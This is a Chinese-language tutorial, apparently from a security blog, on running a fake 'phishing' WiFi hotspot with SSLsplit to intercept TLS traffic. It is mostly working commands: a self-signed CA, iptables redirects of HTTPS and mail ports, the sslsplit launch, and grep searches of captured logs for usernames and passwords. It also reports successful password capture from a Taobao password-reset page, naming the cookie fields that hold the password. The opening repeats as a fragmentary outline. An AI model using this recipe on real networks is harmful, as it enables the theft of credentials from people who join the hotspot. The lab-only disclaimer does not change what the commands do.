本文参考:
http://www.freebuf.com/tools/48016.html
http://www.freebuf.com/articles/web/5929.html
声明:本文仅建议在实验环境下使用,读者在其它环境参考本文使用产生的问题由读者承担!
注意:本文的命令如果提示权限问题,请在命令前加sudo
360WiFi一代(模拟钓鱼WiFi)
SSLsplit(后文会提到如何安装)
Git(下载SSLStrip源码必备)
参考文章:
http://blog.csdn.net/gsls200808/article/details/39370597
http://blog.csdn.net/gsls200808/article/details/39403215
三、安装sslsplit
2.下载sslsplit源码
3.下载编译sslsplit源码的依赖包libssl-dev,libevent-dev
4.切换到sslsplit目录
5.编译和安装
6.查看/检测是否安装成功,帮助命令
2.然后自签名用生成的key生成公钥证书:
其中COMMON NAME填:Test_SSL_Monitor,其它任意
五、配置流量转发
2.清除转发规则
3.iptables流量转发
4.查看刚建立的转发规则
六、启动sslsplit
支付宝安卓客户端:失败 有客户端证书失败的提示 原因:支付宝采用客户端和服务器段证书双向校验
12306安卓客户端:成功 无证书提示 但是密码都是经过加密的
2.网页劫持尝试
淘宝重置密码界面:成功 有证书提示 密码可直接获取,密码位于Cookie的_tb_token_的_fm-pa-_0-n和_fm-pa-_0-c值
Ctrl+C
如果一不小心把终端关了可以杀进程,如下
2.清除建立的转发规则
3.重新设置Wifi热点
笔者是断开重连
2.拷贝日志目录到自己的目录并修改权限
http://www.freebuf.com/tools/48016.html
http://www.freebuf.com/articles/web/5929.html
声明:本文仅建议在实验环境下使用,读者在其它环境参考本文使用产生的问题由读者承担!
注意:本文的命令如果提示权限问题,请在命令前加sudo
一、本文用到软件和硬件条件
Ubuntu15.04(自带OpenSSL)360WiFi一代(模拟钓鱼WiFi)
SSLsplit(后文会提到如何安装)
Git(下载SSLStrip源码必备)
二、WiFi热点的建立
笔者使用的是修改/etc/NetworkManager/system-connections/配置文件的方法参考文章:
http://blog.csdn.net/gsls200808/article/details/39370597
http://blog.csdn.net/gsls200808/article/details/39403215
三、安装sslsplit
1.安装git
apt-get install git
2.下载sslsplit源码
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
3.下载编译sslsplit源码的依赖包libssl-dev,libevent-dev
apt-get install libssl-dev libevent-dev
4.切换到sslsplit目录
cd /opt/sslsplit
5.编译和安装
make
make install
6.查看/检测是否安装成功,帮助命令
sslsplit -h
四、生成中间人的数字证书
1.生成keyopenssl genrsa -out ca.key 2048
2.然后自签名用生成的key生成公钥证书:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
其中COMMON NAME填:Test_SSL_Monitor,其它任意
五、配置流量转发
1.打开端口流量转发,临时打开重启后恢复
sysctl -w net.ipv4.ip_forward=1
2.清除转发规则
iptables -F
3.iptables流量转发
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443
4.查看刚建立的转发规则
iptables -t nat -L
六、启动sslsplit
创建目录以便启动,-S指定的目录为-j指定目录的子目录
rm -rf /opt/sslsplit/test*
mkdir /opt/sslsplit/test1
mkdir /opt/sslsplit/test1/logdir
启动SSLSplit
sslsplit -D -l connect.log -j /opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
七、劫持实验
1.客户端登陆劫持尝试支付宝安卓客户端:失败 有客户端证书失败的提示 原因:支付宝采用客户端和服务器段证书双向校验
12306安卓客户端:成功 无证书提示 但是密码都是经过加密的
2.网页劫持尝试
淘宝重置密码界面:成功 有证书提示 密码可直接获取,密码位于Cookie的_tb_token_的_fm-pa-_0-n和_fm-pa-_0-c值
八、还原操作
1.关闭SSLSplitCtrl+C
如果一不小心把终端关了可以杀进程,如下
ps -aux|grep ssl
kill pid
2.清除建立的转发规则
iptables -t nat -F
3.重新设置Wifi热点
笔者是断开重连
九、实用命令
1.在日志文件中搜索用户名密码cd /opt/sslsplit/test1/logdir
ls -al
cat 20151005T010002Z-[10.42.0.207]:40281-[202.108.23.188]:443.log #这句自行替换
cd /opt/sslsplit/test1/logdir
find -name "*.log" |xargs grep user
find -name "*.log" |xargs grep password
find -name "*.log" |xargs grep login
find -name "*.log" |xargs grep 自己的用户名或者密码
2.拷贝日志目录到自己的目录并修改权限
mkdir ~/temp
cp -rf /opt/sslsplit/test1/logdir ~/temp
cd ~/temp
chmod 777 logdir
cd logdir
chmod 777 *.log
十、乱码解决
一般是gzip压缩后的结果,下面是python代码# -*- coding: UTF-8 -*-
import StringIO
import gzip
file = open('/home/hadoop/temp/test.log','rb')
try:
text = file.read( )
print text
#print all_the_text.split('\r\n\r\n')
#print all_the_text.split('\r\n\r\n')[4]
#print all_the_text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')
#\x1f\x8b\x08\x00开头是gzip压缩后的数据
#大段落分割用的是'\r\n\r\n'
#开头6f4\r\n\x1f\x8b\x08\x00
#结束\x00\x00\r\n0
#需要截取的范围x1f\x8b\x08\x00~\x00\x00
cpdata = text.split('\r\n\r\n')[-2].split('6f4\r\n')[1].split('\r\n')[0]
cpstream = StringIO.StringIO(cpdata)
g = gzip.GzipFile(fileobj=cpstream)
data = g.read()
print data
finally:
file.close( )